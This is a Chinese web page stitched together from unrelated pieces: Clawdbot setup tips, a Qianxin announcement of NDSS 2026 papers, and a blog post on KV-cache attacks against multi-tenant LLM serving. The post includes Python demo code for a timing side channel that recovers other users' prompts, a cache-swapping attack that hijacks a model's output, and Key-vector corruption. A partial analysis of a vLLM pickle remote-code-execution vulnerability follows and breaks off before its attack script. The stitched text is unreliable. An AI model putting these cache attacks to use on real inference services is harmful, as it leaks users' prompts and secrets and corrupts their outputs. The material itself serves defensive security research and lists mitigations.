  • 4090 运行本地模型( Ollama + Qwen/Llama 等)
  • Clawdbot 配置使用本地推理端点
  • 省钱 + 隐私

方案 C:轻量本地模型

  • 使用量化模型(如 Qwen-7B-Int4 )
  • 4090 可以同时跑多个实例


快速开始

# 安装 Clawdbot
npm install -g clawdbot@latest

# 运行向导
clawdbot onboard --install-daemon

# 启动网关
clawdbot gateway --port 18789


Sources

近日,国际顶级学术会议 NDSS 2026(Network and Distributed System Security Symposium)公布录用结果,奇安信技术研究院合作完成的5篇论文成功被录用。NDSS 2026将于2026年2月23日至27日在美国圣地亚哥举办。此次多篇论文被录用,充分展现了奇安信技术研究院在网络安全前沿技术研究领域的深厚实力。

1. 大语言模型(LLM)推理服务框架中的缓存安全问题

第一篇论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作,论文题目为《Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和曲海鹏教授(中国海洋大学),其他作者为陈国强(奇安信星图实验室),谷雅聪(清华大学)。这项研究聚焦于大语言模型(LLM)推理服务框架中的安全威胁,深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。

这项工作揭示了上述机制中严重的安全隐患:攻击者可利用这些漏洞操纵模型输出,实施数据投毒,甚至绕过现有的安全审核与防御体系。团队在 vLLM、SGLang 和 GPTCache 等主流推理服务框架中定位到了具体的实现缺陷,并提出了针对性的修复方案。目前,相关漏洞已被厂商确认并修复,因此获得了 3 个 CVE 漏洞编号,为提升 LLM 基础设施的安全性做出了实质性贡献。

2. npm 生态漏洞传播影响分析

第二篇论文是由奇安信技术研究院和清华大学合作完成的关于软件供应链安全的工作。论文题目为《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in npm Ecosystem》,作者为蒲应元(奇安信星图实验室)、应凌云(奇安信星图实验室)和谷雅聪(清华大学)。这项研究提出了基于函数调用关系的细粒度漏洞传播关系识别方法,结果表明传统的基于包依赖关系识别的漏洞影响结果中约 70% 都是误报。

npm作为全球最大的开源软件生态,其错综复杂的依赖关系使得漏洞极易在供应链中传播,给软件安全带来巨大隐患。现有的包级别软件成分分析(SCA)工具普遍存在严重的误报问题,无法区分漏洞代码是否真实被调用,同时现有的函数级分析工具在面对大规模生态时,往往面临计算成本过高和对JavaScript动态特性支持不足等瓶颈。为解决这些问题,我们设计开发了 VulTracer,一款面向npm生态的高精度、可扩展的函数级漏洞传播分析框架。该工具创新性地提出了“一次分析,多次复用”的模块化分析模式,通过对每一个 npm 包构建不可变的富语义图(RSG)、提取形式化接口以及按需组合合成技术,成功解决了大规模静态分析中的性能与精度挑战。

同时,VulTracer基于全量npm生态(覆盖3400万个npm 包版本,超 9 亿条依赖关系)进行了迄今为止最大规模的函数级漏洞影响实证研究。实验结果表明,该工具在调用图构建上达到了0.905的F1分数(SOTA),相比npm audit降低了94%的误报率;同时研究结果进一步揭示,现有包级别分析工具产生的警报中 68.28% 均为“噪声”(即漏洞代码不可达),且真实的漏洞传播往往随依赖层级加深而迅速衰减。该工作为缓解开发者的警报疲劳提供了切实可行的技术路径,使安全修复工作能聚焦于真实存在的威胁。

3.JavaScript脚本的自动化反混淆

第三篇论文是由奇安信技术研究院和北京邮电大学合作完成的关于JavaScript反混淆的工作。论文题目为《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》,这项工作由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和王东滨教授(北京邮电大学),参与该项工作的还有柴华君(奇安信星图实验室)。这篇论文也是我们继PowerPeeler (CCS 2024)和Invoke-Deobfuscation (DSN 2022)之后的又一项脚本反混淆工作。

JavaScript作为互联网核心脚本语言的广泛应用,使其成为恶意攻击者的重要载体。攻击者利用复杂的代码混淆技术隐藏恶意行为,给安全分析带来严峻挑战。现有反混淆工具普遍存在处理复杂样本能力有限、仅支持特定混淆类型、输出代码难以阅读等关键局限。为解决这些问题,我们设计开发了JSIMPLIFIER,一款集成多阶段处理流程与大语言模型增强的综合性JavaScript反混淆工具。该工具创新性地结合代码预处理、静态AST分析与动态执行监控的双引擎协同,以及基于LLM的智能变量重命名,实现从复杂样本格式化到语义增强的全流程反混淆。JSIMPLIFIER基于44,421个真实混淆样本构建了目前最大规模数据集,实验证明其100%覆盖20种主流混淆技术,达到100%处理成功率和正确率,代码复杂度降低88.2%,可读性提升超过4倍。该工具已成功还原JSFireTruck等复杂恶意样本的混淆行为,相关研究成果、工具及数据集已开源共享。

4. Windows 代码签名滥用分析

第四篇论文是由奇安信技术研究院、清华大学和中关村实验室合作完成的关于代码签名滥用检测的工作。论文题目为《Understanding the Status and Strategies of the Code Signing Abuse Ecosystem》,这项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生赵汉卿主导完成,导师为段海新教授(清华大学)和应凌云博士(奇安信星图实验室)。其他作者分别为张一铭(清华大学)、张明明(中关村实验室)、刘保君(清华大学)、游子权(清华大学)、张书豪(奇安信星图实验室)。

近年来,软件供应链安全事件频发,为了保护软件真实性与完整性,代码签名机制应运而生。代码签名主要依赖公钥基础设施 PKI 技术,旨在确保软件来自真实来源且软件内容未被篡改。然而,攻击者有时会反过来利用代码签名PKI信任体系中的安全缺陷,帮助恶意软件绕过操作系统和杀毒软件的检查。深入理解代码签名滥用生态系统的演变过程以及滥用者的策略,对于完善相关检测与防御机制至关重要。

在这项工作中,我们利用从真实世界中收集的 3,216,113 个已签名的恶意 PE 文件,对代码签名滥用行为进行了大规模测量。通过细粒度的代码签名滥用检测分类算法,我们检测到了 43,286 张滥用证书,构建了迄今为止最大的滥用标记数据集。分析发现当前代码签名滥用现象普遍存在,影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现了 5 种滥用者的攻击策略,并根据当前代码签名 PKI 存在的安全缺陷提出了若干缓解措施。

5. 4G LTE 飞基站系统性安全评估

第五篇论文是由清华大学、奇安信技术研究院、CableLabs、Carleton University 及泉城实验室合作完成的关于 4G LTE femtocell 安全风险评估的研究工作。论文题目为 《Small Cell, Big Risk: A Security Assessment of 4G LTE Femtocells in the Wild》。该项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生杨雅儒主导完成,导师为段海新教授(清华大学、泉城实验室)和汤舒俊(奇安信技术研究院)。其他作者分别为张一铭(清华大学)、万涛(CableLabs & Carleton University)、常得量(奇安信技术研究院)、李义申(清华大学)。

近年来,为了提升室内覆盖、降低部署成本并分担宏基站流量,femtocell 作为一种小型、低功耗的运营商基站,被部署于个人家庭等场景。与传统基站不同,femtocell 通常直接接入公共互联网,并在物理与网络层面更容易被攻击者接触。一旦被攻破,femtocell 会以“受信任节点”的身份接入核心网,可能对用户隐私与核心网安全造成严重威胁。

这项工作对真实世界中的 4G LTE femtocell 进行了系统性的安全评估。我们分析了 4 款来自不同厂商的商用 femtocell 设备,从硬件与软件两个层面识别出 5 类可导致本地或远程攻破的共性漏洞。在此基础上,我们在受控实验环境中进一步分析了被攻破 femtocell 对用户侧业务的安全影响,验证了对数据业务、语音通话以及短信服务的威胁,例如用户通信内容的机密性可能在特定场景下面临风险。随后,我们进一步开展了互联网规模测量,基于 IKEv2、TR-069 及管理接口等协议特征,在全球 IPv4 空间中识别出 86,108 个疑似 femtocell 部署实例,其中超过六成为高置信度目标。研究结果表明,femtocell 在真实网络中的暴露程度与安全风险显著,一台被攻破的 femtocell 即可能成为攻击用户与核心网络的重要入口。基于上述发现,我们讨论了其安全影响,并提出了针对设备、部署与标准层面的缓解建议。

=========  我 是 分 割 线  =========

星图实验室隶属于奇安信技术研究院,专注于软件与系统安全的核心技术研究与系统平台研发,对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。

我们目前正在招聘,工作地点覆盖北京、南京、成都等城市,详情请参见:https://research.qianxin.com/recruitment/

0x01 研究背景

在自回归生成模型(Autoregressive Model)中,LLM每生成一个新token,都会将此前生成的序列作为输入。若每一步都重新计算全部注意力(Q、K、V 矩阵),计算量将随序列长度平方级增长。在长上下文和高并发场景下,这一开销会迅速成为系统瓶颈。为此,主流推理框架普遍引入KV-Cache技术。 KV-Cache通过缓存此前token的Key(K)和Value(V)向量,在下一步生成时只需计算新的Query(Q),即可直接复用前面的K/V,从而显著降低重复计算量。实践中,KV-Cache 通常能在保持模型精度不变的前提下,带来约5-8倍的推理加速。这一机制已经成为vLLM、SGLang、DeepSpeed-Inference等高性能推理引擎,以及Hugging Face generate(use_cache=True)接口的默认能力。

随着2024–2025年多租户推理服务(如vLLM、SGLang、TensorRT-LLM)的大规模部署,系统在单模型、多租户共享的前提下,又进一步引入跨请求的前缀缓存共享(prefix caching)。当不同请求的prompt存在相同前缀时,系统可以直接复用已有KV-Cache,大幅摊薄Prefill成本并提升吞吐。然而,当这种共享与复用机制扩展到多租户并发环境时,KV-Cache不再只是一个“性能优化组件”,而是演变成新的攻击面:攻击者可以通过观测Prefill 时间、TTFT等性能差异发起时序侧信道攻击,通过篡改缓存内容实施History Swapping(生成轨迹劫持),或者通过对Key向量注入扰动发动Cache Corruption(缓存腐败),从而导致跨租户信息泄露、话题漂移甚至下游任务性能显著下降。

0x02 KV缓存工作机制与共享复用原理

下面是KV-Cache工作原理的示意图。

KV-Cache工作原理

KV-Cache工作原理图

接下来我们用文字详细拆解,更深入了解KV缓存工作机制。

2.1 两阶段推理:Prefill与Decode

KV-Cache的核心做法分为两阶段。

(1)Prefill阶段(Prompt阶段)一次性计算输入序列的K/V并写入缓存 模型读取完整输入的prompt,计算出所有token的Key/Value向量并写入缓存。 公式表示为:

image-20251229205745845

此时缓存中的K/V向量构成了后续生成阶段的基础。

(2)Decode阶段(生成阶段)仅对新token计算Q/K/V,并复用历史K/V完成注意力计算 当模型生成新token时,仅需计算该token对应的Q、K、V向量。

image-20251229205757073

然后与缓存中已有的K/V拼接,直接完成注意力计算。这样便避免了重复计算前面N−1个token的注意力结果。

2.2 past_key_values

在Hugging Face Transformers框架中,KV-Cache在接口层面通过 past_key_values 对象实现。该对象并非一个抽象的控制开关,而是模型前向推理过程中实际生成、并可跨生成步骤复用的中间状态。它以分层的结构保存已处理历史Token的Key和Value张量,从而支撑自回归生成的增量计算。

从结构上看,past_key_values通常是一个长度为模型层数的列表或元组,其中每一层对应一对 (K, V)张量。不同模型的具体维度布局可能存在差异,但其核心语义一致:存储历史序列的注意力键值表示,以便后续生成时直接复用。

在推理流程中,Prefill 阶段会对完整的提示词进行计算,并首次生成past_key_values。进入Decode阶段后,若将此缓存作为输入传递给模型,模型通常只需为新输入的Token计算其对应的Key和Value,并将其追加至现有缓存末尾,从而避免了历史部分的重复计算。这种基于past_key_values的复用是框架的原生机制,其带来的加速直接源于注意力计算的真实削减,因此更适合作为评估系统性能及分析相关安全影响的工程基准。相比之下,通过sleep()或人为插桩制造“快慢差异”的方法仅能模拟现象,难以反映实际推理系统的缓存行为。此外,Transformers框架的generate()接口通常通过参数use_cache=True来启用此缓存机制。vLLM、SGLang、DeepSpeed-Inference在系统层面也普遍实现了类似机制,以降低生成延迟并提升吞吐量。

2.3 多租户场景下的前缀缓存与最长前缀匹配

在多请求并发且显存资源受限的推理服务中,为提升吞吐并降低重复的Prefill开销,系统常采用前缀缓存策略。其核心思想是当新请求的提示词(更准确地说是其Token序列)与某条已缓存的序列存在前缀重合时,系统可直接复用该前缀部分对应的KV-Cache,仅需对未命中的后续Token执行增量计算。

当缓存池中存在多个可能的候选前缀时,命中判定通常遵循最长前缀匹配(LPM)原则:在所有缓存条目中,系统会选择与新请求Token序列匹配长度最长的那一条作为复用对象,以最大化缓存利用率,减少重复计算。在工程实现上,这依赖于能够高效进行Token序列前缀匹配的数据结构或索引机制,例如前缀树(Trie)、基于前N个Token的分层哈希,或基于序列哈希值的多级索引。

根据匹配程度,命中效果可分为两类:一是完全命中,即请求的绝大部分或全部前缀已在缓存中,Prefill阶段的计算量显著下降;二是部分命中,即仅能复用较短的前缀,系统仍需对剩余后缀执行完整的Prefill计算。无论是“是否命中”还是“命中长度”,都会直接反映在可观测的系统性能指标上,例如Prefill时间、首Token延迟的分布等。

当前主流引擎(如vLLM的PagedAttention、LMCache)进一步通过分页管理和压缩技术缓解显存碎片,但前缀共享引入的侧信道与内存安全风险依然突出,这也是后续攻击面的根源。

0x03 KV-Cache的主要攻击面原理介绍

在理解KV-Cache的核心优化机制与共享原理后,我们可以看到其高效性背后隐藏的脆弱性。下面详解三大主要攻击面:时序侧信道攻击、操纵攻击与腐败攻击。

3.1 KV-Cache时序侧信道攻击

在共享KV-Cache的系统中,攻击者通过测量响应时间或请求处理顺序,推断缓存是否命中(hit),从而还原其他用户的Prompt(提示词)。

image-20251028173225854

时序侧信道攻击完流程图

设定还原的语句是"Imagine you are an IT expert",攻击者已经成功还原出"Imagine you are",并尝试还原下一个token "an"。下面我们根据上图分步骤拆解一下攻击过程。

步骤1:Generate candidates

攻击者在本地用小模型、模板或启发式方法生成可能的下一个token候选集合,例如:

  • Imagine you are an
  • Imagine you are a
  • Imagine you are the

把未知的victim prompt逐步转化为一系列候选前缀/后缀,便于后续probe。优点是减少搜索空间。


步骤2:Generate dummy

  • Candidate请求:每个请求包含一个候选后缀(比如Imagine you are an)。目标是看哪一个candidate与victim的缓存前缀最长匹配而“命中”缓存。
  • Dummy请求:随机或不相关的prompt(用来制造队列/填充调度槽位),以便控制调度顺序或避免直接暴露自己的probe请求导致缓存污染判断混淆。

步骤3:Send three request batches in turn

攻击者按这个顺序把三组请求发到服务器(可能是同一API key,也可能跨多个短时间窗口发出)。核心就是在调度队列里把candidate放在中间,观察它是否因为缓存命中而更快返回。

步骤4:Observe the returning order

攻击者记录三批请求的返回顺序和时间(TTFT/latency)。若candidate的响应比其前后的dummy显著更快或优先到达,就可推断该candidate是命中了缓存(即victim的prompt与该candidate共享较长前缀)。

3.2 History Swapping 攻击

image-20251230101845847

History Swapping操纵攻击原理图

攻击者通过结构化替换或注入KV-Cache内容,来“劫持”模型的生成轨迹,强制引导输出转向攻击者指定的主题或行为。这种攻击利用KV-Cache编码了不仅仅是上下文,还包括话题规划(topic trajectory)和结构化推理(structural planning)的特性。

设定攻击场景:受害者Prompt为“Give a precise technical explanation of espresso extraction variables”(讨论咖啡萃取),攻击者希望劫持输出到恒星生命周期主题。用户可见Prompt不变。

步骤1: 预生成目标主题KV-Cache

攻击者离线使用相同模型,基于目标主题Prompt生成一段完整KV-Cache块(topic_cache)。

步骤2: 启动正常生成并等待替换点

从受害者Prompt开始自回归生成,监控已生成token数,直到达到预设swap_token(例如序列的20%-60%处)。

步骤3: 执行块级覆盖替换

计算替换段长度(swap_percent,如25%-75%最近timestep),在全层(或指定早/晚层)用topic_cache对应部分直接覆盖当前缓存。

步骤4: 继续生成并观察劫持

模型基于篡改缓存继续输出。常见效果:立即/延迟主题偏移、原主题与攻击主题交替、或生成重复崩溃。

3.3 KV-Cache 腐败攻击

image-20251230101806716

KV-Cache腐败攻击原理图

攻击者通过向KV-Cache注入扰动(perturbation),破坏注意力机制的完整性,导致输出偏差、性能下降或幻觉增加。这种攻击视KV-Cache为“内存腐败”类似漏洞,扰动键向量(Key vectors)即可放大影响。

设定攻击场景:在正常生成或RAG任务中,攻击者向KV-Cache的Key向量注入扰动,导致注意力偏差、性能下降或幻觉增加。

步骤1: 选择目标层与时机

确定最脆弱层(通常中层,如LLaMA-2第12层)和扰动应用频率(连续或间歇)。

步骤2: 选择扰动变体

  • MTI-Gaussian:添加高斯噪声(σ=0.1-5.0)
  • MTI-Zeroing:概率置零Key条目
  • MTI-Rotation:施加正交旋转(15°-90°)
  • 可结合梯度优化以最大化目标影响

步骤3: 注入扰动到Key向量

在生成过程中,按选定策略对Key向量应用扰动δ。

步骤4: 观察输出效果

监控下一token分布偏移(KL散度上升)、下游任务性能下降15–30%、或RAG幻觉率增加5%-12%。中层扰动放大效果最显著。

0x04 代码实现

测试为纯CPU环境下完成,基于Python3.8+的Hugging Face Transformers与PyTorch运行124M参数的gpt2模型。

4.1 KV-Cache时序侧信道攻击

实验1:基础缓存时序测量

验证KV-Cache复用是否产生物理上可观测的时间差异。

我们实现了一个多租户LLM服务的 KVServer 类,支持:

  1. 最长前缀匹配 (LPM):实现类似vLLM的Prefix Caching
  2. 精确计时:仅测量Prefill阶段的KV 计算,排除tokenization开销
  3. 缓存管理:LRU淘汰策略

核心实现

@dataclass
class _CacheEnt:
    """KV-Cache 条目"""
    prompt: str
    input_ids: torch.Tensor
    past_kv: Tuple
    ts: float

class KVServer:
    """多租户KV-Cache服务器"""

    def _lpm(self, q_ids: torch.Tensor):
        """Longest Prefix Match - 缓存必须是查询的前缀"""
        best = None
        best_len = 0

        for cached, ent in self._cache.items():
            c_ids = ent.input_ids[0].tolist()
            q = q_ids[0].tolist()

            # 计算共同前缀长度
            mlen = 0
            for i, (a, b) in enumerate(zip(c_ids, q)):
                if a == b:
                    mlen = i + 1
                else:
                    break

            # 缓存有效条件:缓存是查询的前缀(mlen == len(cached))
            if mlen > best_len and mlen == len(c_ids) and len(c_ids) <= len(q):
                best = ent
                best_len = mlen

        return (best, best_len) if best else None

    def process(self, prompt: str, max_new=1, uid="anon", write_cache=True):
        """处理请求,返回详细的时序数据"""
        input_ids = self.tok.encode(prompt, return_tensors="pt")
        t0 = time.perf_counter()

        cache_r = self._lpm(input_ids)

        with torch.no_grad():
            if cache_r:
                # 缓存命中路径:复用past_key_values
                ent, matched = cache_r
                self._hits += 1

                if input_ids.shape[1] > matched:
                    # 部分匹配:计算增量部分
                    delta_ids = input_ids[:, matched:]
                    out = self.model(
                        delta_ids,
                        past_key_values=ent.past_kv,
                        use_cache=True
                    )
                    past_kv = out.past_key_values
                else:
                    # 完全命中:直接复用
                    past_kv = ent.past_kv

                prefill_t = (time.perf_counter() - t0) * 1000
                hit = True
            else:
                # 缓存未命中路径:完整前向传播
                self._miss += 1
                out = self.model(input_ids, use_cache=True)
                past_kv = out.past_key_values
                prefill_t = (time.perf_counter() - t0) * 1000
                hit = False

        # ... 生成阶段与缓存写回

运行结果

可以看到上面第一次请求Prefill用了大约380ms,这是模型执行完整前向传播的时间。对于GPT-2,这意味着要进行12层TransformerBlock的矩阵乘法运算。

然后当二次请求完全相同的时候Prefill仅仅为0.024ms ,几乎就只有内存操作时间。这个原因是因为past_key_values已存在,模型跳过了所有Attention层的Q×KT​计算,仅需简单的张量拼接。

实验2:prompt探测攻击

为了验证攻击者能否通过时序差异识别受害者的Prompt

核心代码:

def experiment_2_exact_match_attack():
    # 步骤1: 受害者缓存敏感Prompt
    victim_prompts = [
        "My secret password is hunter2",
        "My API key is sk-1234567890abcdef",
    ]

    for prompt in victim_prompts:
        server.process(prompt, uid="victim", write_cache=True)

    # 步骤2: 攻击者构造候选列表
    candidates = [
        "My secret password is hunter2",      # ✓ 匹配
        "My secret password is wrong",        # ✗ 不匹配
        "My secret code is hunter2",          # ✗ 不匹配
        "My API key is sk-1234567890abcdef",  # ✓ 匹配
        "My API key is sk-wrong-key",         # ✗ 不匹配
    ]

    # 步骤3: 逐个探测
    discovered = []
    for cand in candidates:
        r = server.process(cand, uid="attacker", write_cache=False)
        t = r['prefill_ms']

        if t < 1.0:  # 阈值判定
            discovered.append((cand, t))

    return discovered

运行结果

image-20251230222154860

我们可以从上面实验结果看到当探测内容与缓存完全一致时,模型无需任何计算,直接返回缓存指针。时间差异非常大。

我们可以从攻击者视角的视角来看到这件事:

1.攻击者构造"密码候选列表"(类似字典攻击),逐个探测。

2.只要有一个候选的响应时间<1ms,攻击者就能推断出被攻击者的完整prompt。

攻击简易流程图如下。

1

4.2 History Swapping攻击

实验目标:在不改变用户可见Prompt的情况下,通过替换推理过程中的past_key_values片段,把模型输出从“受害者话题”劫持到“攻击者话题”。

  • 受害者请求:正常的业务问题(例如“如何制作咖啡”)。
  • 攻击者能力


    • 能在同一推理进程/同一GPU的Worker内“写入或污染”共享的KV-Cache(例如:推理引擎实现了前缀缓存复用、调度/缓存对象复用存在隔离缺陷、或插件/监控/扩展组件可触达缓存对象)。
    • 攻击者提前离线生成一段目标主题的K-Cache。
    • 攻击效果:用户看到的prompt没变,但输出内容发生明显“叙事漂移”。

核心思路

  1. 攻击者用目标主题prompt跑一次Prefill,得到attacker_cache
  2. 受害者开始生成,达到某个swap_at_token时刻。
  3. 在所有层(或关键层)将受害者cache的一段时间步区间(如中间30%-60%)用attacker_cache的片段覆盖。

核心实现:

def gen_with_swap(model, tok, prompt: str, max_tok=30,
                 atk_cache=None, swap_at=2):
    """带缓存替换的生成函数"""
    ids = tok.encode(prompt, return_tensors="pt")
    generated = []

    # Prefill 阶段
    with torch.no_grad():
        out = model(input_ids=ids, use_cache=True)
        past = out.past_key_values
        logits = out.logits[0, -1, :]

    # 逐 token 生成
    for step in range(max_tok):
        tok_id = torch.argmax(logits).item()
        generated.append(tok_id)

        # 关键:在指定步数替换缓存
        if step == swap_at and atk_cache is not None:
            past = _swap_mix(past, atk_cache)

        nxt = torch.tensor([[tok_id]])
        with torch.no_grad():
            out = model(input_ids=nxt, past_key_values=past, use_cache=True)
            past = out.past_key_values
            logits = out.logits[0, -1, :]

    return tok.decode(generated, skip_special_tokens=True)

def _swap_mix(vic_cache, atk_cache):
    """混合策略:保留 10% 受害者前缀,替换中间 85% 为攻击者缓存"""
    from transformers.cache_utils import DynamicCache

    # 提取张量
    if hasattr(vic_cache, "key_cache"):
        v_k = [vic_cache.key_cache[i].clone() for i in range(len(vic_cache.key_cache))]
        v_v = [vic_cache.value_cache[i].clone() for i in range(len(vic_cache.value_cache))]
        a_k = [atk_cache.key_cache[i] for i in range(len(atk_cache.key_cache))]
        a_v = [atk_cache.value_cache[i] for i in range(len(atk_cache.value_cache))]
    else:
        # 兼容 tuple 格式
        v_k = [vic_cache[i][0].clone() for i in range(len(vic_cache))]
        v_v = [vic_cache[i][1].clone() for i in range(len(vic_cache))]
        a_k = [atk_cache[i][0] for i in range(len(atk_cache))]
        a_v = [atk_cache[i][1] for i in range(len(atk_cache))]

    new_cache = DynamicCache()

    for layer in range(len(v_k)):
        vk, vv = v_k[layer], v_v[layer]
        ak, av = a_k[layer], a_v[layer]

        seq_len = vk.shape[2]
        atk_len = ak.shape[2]

        # 替换策略:保留 10%,替换 10%-95%
        start = int(seq_len * 0.1)
        end = int(seq_len * 0.95)
        swap_sz = min(end - start, atk_len)

        nk = vk.clone()
        nv = vv.clone()

        if swap_sz > 0:
            # 关键:切片替换
            nk[:, :, start:start+swap_sz, :] = ak[:, :, :swap_sz, :]
            nv[:, :, start:start+swap_sz, :] = av[:, :, :swap_sz, :]

        new_cache.key_cache.append(nk)
        new_cache.value_cache.append(nv)

    return new_cache

image-20251229201348226

在我们进行swap_at_token 之后,输出出现明显话题漂移,原本应该是咖啡的制作方面的东西,结果话题漂移到了星空上面。

4.3 KV-Cache腐败攻击

实验:Cache Corruption(扰动Key 向量)

实验目标:在生成过程中对KV-Cache的Key张量注入扰动(噪声/置零/旋转),观察注意力机制被破坏后带来的输出质量退化(重复、语义漂移、幻觉倾向上升)。

更贴近实战的场景设定

  • 共享显存/共享推理Worker:攻击者通过越权写入或内存破坏类漏洞(例如缓存指针复用错误、越界写、错误的张量视图复用)影响到其他请求的KV。
  • RAG/Agent场景:缓存腐败会显著增加“把检索内容读错/拼接错”的概率,表现为幻觉或逻辑断裂。

扰动策略

  • corrupt_gaussian:K = K + N(0, σ^2)
  • corrupt_zeroing:以概p 将Key条目置零
  • corrupt_rotation:对Key的embedding子空间做正交旋转(简化实现为对最后维度两两旋转)

核心实现:

#高斯噪声
def corrupt_gaussian(cache, sig=1.0):
    """对 Key 向量添加高斯噪声:K = K + N(0, σ²)"""
    ts = _extract(cache)
    out = []
    mid = len(ts) // 2

    for i, (k, v) in enumerate(ts):
        if abs(i - mid) <= 1:  # 中层更敏感
            noise = torch.randn_like(k) * sig
            out.append((k + noise, v.clone()))
        else:
            out.append((k.clone(), v.clone()))

    return _rebuild(out)

#随机置零
def corrupt_zeroing(cache, p=0.3):
    """以概率 p 将 Key 条目置零"""
    ts = _extract(cache)
    out = []
    mid = len(ts) // 2

    for i, (k, v) in enumerate(ts):
        if abs(i - mid) <= 1:
            mask = (torch.rand_like(k) > p).float()
            out.append((k * mask, v.clone()))
        else:
            out.append((k.clone(), v.clone()))

    return _rebuild(out)

#正交旋转
def corrupt_rotation(cache, deg=45.0):
    """对 Key 的 embedding 子空间做正交旋转"""
    ts = _extract(cache)
    out = []
    mid = len(ts) // 2

    rad = np.radians(deg)
    c, s = np.cos(rad), np.sin(rad)

    for i, (k, v) in enumerate(ts):
        if abs(i - mid) <= 1:
            nk = k.clone()
            d = k.shape[-1]
            # 对最后维度两两旋转
            for j in range(0, d - 1, 2):
                kj = k[:, :, :, j].clone()
                kj1 = k[:, :, :, j + 1].clone()
                nk[:, :, :, j] = c * kj - s * kj1
                nk[:, :, :, j + 1] = s * kj + c * kj1
            out.append((nk, v.clone()))
        else:
            out.append((k.clone(), v.clone()))

    return _rebuild(out)

实验结果如下

image-20251230223603113

可以看到在不同扰动策略下模型输出的内容发生明显变化。

0x05 防御与缓解措施

以下从架构、系统、审计三层总结主流缓解措施,结合最新研究(如SafeKV、KV-Cloak),旨在平衡安全性、性能与部署成本。

5.1 架构层防御

  • 租户级缓存隔离:通过Tenant ID、Session Scope或用户唯一标识符划分KV命名空间,完全禁止跨租户共享。适用于高敏感场景,虽牺牲部分吞吐,但彻底消除侧信道。
  • 选择性共享:仅允许非敏感前缀共享,结合细粒度隐私策略(如基于内容分类)决定复用范围。
  • 缓存生命周期管理:单次请求后自动清除,或设置TTL过期策略,减少驻留时间泄露风险。
  • LPM随机化与分区:在最长前缀匹配中引入随机扰动,或按哈希分区缓存池,打乱命中可预测性。

5.2 系统层防御

  • 噪声注入与延迟模糊化:在缓存命中路径插入±Δt随机延迟,或对时间指标添加噪声,隐藏TTFT/顺序差异(针对时序攻击)。
  • 缓存内容混淆:使用可逆矩阵变换对KV向量加密/混淆,仅授权方可逆转。
  • 扰动检测与完整性校验:实时监控KV向量范数/哈希变化,检测异常扰动(针对腐败攻击)或引入dropout-mask随机化/注意力平滑,减轻操纵影响。
  • 参数与接口限制:禁止外部暴露use_cache、position_ids等敏感参数;结合速率限制(throttling)阻断高频探测请求。
  • 机密计算集成:利用TEE(Trusted Execution Environment)加密KV-Cache内存,防止物理/侧信道访问。

5.3 审计与合规层

  • 缓存审计器:记录每条请求的缓存命中/共享日志,绘制租户-缓存命中矩阵,便于事后追溯。
  • 异常行为监控:基于机器学习检测异常调度模式(如批量相似前缀探测),自动告警或隔离。
  • 合规框架支持:在SOC 2、ISO 27001或GDPR下,强制日志不可篡改,并定期审计共享安全性。

参考资料

https://openreview.net/pdf?id=gUj2fxQcLZ

https://www.ndss-symposium.org/wp-content/uploads/2025-1772-paper.pdf

https://huggingface.co/docs/transformers/en/kv_cache

https://arxiv.org/abs/2312.07104

https://www.arxiv.org/pdf/2510.17098

https://arxiv.org/pdf/2511.12752

https://pub.towardsai.net/lets-build-an-optimizer-for-a-gpt-model-from-scratch-in-pytorch-kv-caching-4d3f1f9516fa

漏洞描述

CVE-2025-47277 是 vLLM 项目中的一个 远程代码执行(RCE)漏洞,源于其使用PyNcclPipe模块时,未经验证地反序列化来自网络的数据,攻击者可通过构造恶意 pickle 数据包,在服务器端执行任意代码。该漏洞严重性等级为 Critical。

影响范围

条件

说明

影响版本

vLLM >= 0.6.5 且 < 0.8.5

影响模块

VLLMEngineV0

引擎中启用的PyNcclPipe

KV 缓存传输机制

受影响部署模式

多节点分布式部署,KV 节点暴露在公网或未限制访问

不受影响

使用 VLLMEngineV1、新版 NCCL 后端或未启用 KV 传输的单机部署

漏洞环境搭建

可以在本地搭建一个复现环境:

Python ≥ 3.8

vLLM == 0.8.3(或受影响版本)

PyTorch

代码解读

PyNcclPipe:vLLM 的分布式 KV 缓存传输模块,用于节点之间传输 tensor 数据。

KVTransferConfig:用于配置 KV 缓存传输参数,例如端口、IP、rank 等

kv_ip:本地监听 IP,接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地(攻击时需开放公网 IP)。

kv_port:网络监听端口(服务端口),攻击者通过该端口发送恶意数据。

kv_rank:当前节点在分布式系统中的编号,0 表示主节点。

kv_parallel_size:并行传输的节点数量,这里设为 1,表示单连接通信。

kv_buffer_size:每次接收 tensor 的 buffer 大小。

kv_buffer_device:buffer 存储设备,设为 "cpu" 表示张量数据缓存在 CPU 上。

创建一个 PyNcclPipe 对象,它封装了底层 TCP 通信逻辑,用于从其他节点接收数据。local_rank=0 表示当前节点在通信中的本地编号。

这是漏洞的触发点!recv_tensor() 内部会调用 recv_obj() 来从 socket 中接收序列化对象。

漏洞分析

成因点

描述

不安全反序列化

recv_obj()中使用pickle.loads()对用户发送的序列化数据直接反序列化,无身份校验或数据校验。

网络暴露配置缺陷

PyTorch 的TCPStore默认监听0.0.0.0,vLLM 用户配置--kv-ip也未能强制绑定私有 IP。

内网信任假设过强

vLLM 设计默认内网环境可信,缺乏防御恶意内部节点或入侵者横向移动的保护措施。

在pynccl_pipe.py中调用了recv_obj()方法

而recv_obj()方法中刚好对传入的字符串进行pickle反序列化

漏洞复现

攻击脚本

代码分段解读:

这里引入 StatelessProcessGroup,这是 vLLM 中用于节点间通信的一个工具类,封装了 TCP 通信逻辑。

这是攻击的核心:

